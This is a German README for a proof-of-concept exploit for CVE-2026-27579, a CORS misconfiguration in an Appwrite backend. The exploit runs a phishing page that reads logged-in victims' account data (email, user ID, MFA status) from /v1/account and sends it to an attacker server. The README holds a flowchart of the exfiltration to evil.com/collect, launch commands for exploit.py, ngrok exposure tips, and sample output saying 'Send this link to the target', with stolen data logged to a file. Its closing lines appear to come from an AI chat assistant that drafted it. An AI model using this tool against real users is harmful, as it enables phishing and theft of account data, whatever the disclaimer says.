
Exploit-PoC für CVE-2026-27579, eine CORS-Fehlkonfiguration im Appwrite-Backend, die den Diebstahl authentifizierter Kontodaten über eine bösartige Phishing-Seite demonstriert.
CVE-2026-27579 – Datenleck authentifizierter Konten durch permissive CORS
CVE-2026-27579 (GHSA-qh5m-p8jh-hx88)
Eine schwerwiegende CORS-Fehlkonfiguration im Appwrite-Backend, das von der realtime-collaboration-platform verwendet wird, ermöglicht es einem Angreifer-kontrollierten Ursprung, sensible authentifizierte Benutzerdaten (E-Mail, Benutzer-ID, MFA-Status usw.) von eingeloggten Opfern über berechtigte Cross-Origin-Anfragen auszulesen.
/v1/account-Endpunkt mit Access-Control-Allow-Origin-Reflexion + Access-Control-Allow-Credentials: trueflowchart TD
A[Victim is logged in\nCollabPlatform / Appwrite] --> B[Victim visits attacker-controlled page\nphishing link / malvertising]
B --> C[Browser sends GET /v1/account\nwith session cookies credentials: 'include']
C --> D[Appwrite reflects arbitrary Origin\nAccess-Control-Allow-Origin: evil.com]
D --> E[Access-Control-Allow-Credentials: true]
E --> F[Browser allows JavaScript to read response\nemail, $id, mfa, name, ...]
F --> G[Data exfiltrated to attacker server\nPOST /collect]
G --> H[Attacker receives full account details]--lhost- und --lport-Parameterpip install flask
# Grundlegende Verwendung
python3 exploit.py --lhost 192.168.1.100 --lport 8000
# Mit Domain / öffentlicher IP
python3 exploit.py --lhost attacker.yourdomain.com --lport 8080
# Für öffentliche Erreichbarkeit (empfohlen)
# 1. Skript ausführen
# 2. ngrok verwenden: ngrok http 8000
# 3. http://<lhost>:<lport> im Code durch deine ngrok-URL ersetzen
# (oder erneut mit --lhost = deine-ngrok-url.ngrok-free.app ausführen)
Beispielausgabe beim Ausführen:
[*] Starting malicious server → http://192.168.1.100:8000
[*] Send this link to the target:
http://192.168.1.100:8000/
Opfer besucht den Link während es eingeloggt ist → Daten erscheinen im Terminal + werden in stolen_accounts.txt gespeichert
Dieser Code dient ausschließlich Bildungszwecken, autorisierten Sicherheitstests, Red-Team-Übungen und Schwachstellenforschung.
Die unbefugte Verwendung gegen ein System oder eine Person ohne ausdrückliche schriftliche Genehmigung ist in den meisten Rechtsordnungen illegal (Computerkriminalität, unbefugter Zugriff, Datendiebstahl, Phishing-Gesetze usw.).
Verwende dies nur in Umgebungen, die dir gehören oder für die du eine formelle Testgenehmigung hast.
Mohammed Idrees Banyamer
Security Researcher
Jordanien
Instagram: @banyamer_security
Du kannst dies direkt in deine README.md-Datei kopieren.
Wenn du Screenshots hinzufügen, die Badge-Farben ändern, weitere Abschnitte (Demo, Mitigation usw.) ergänzen oder Lizenz-Badges / Sterne / Fork-Zähler einfügen möchtest – lass es mich wissen und ich kann es erweitern.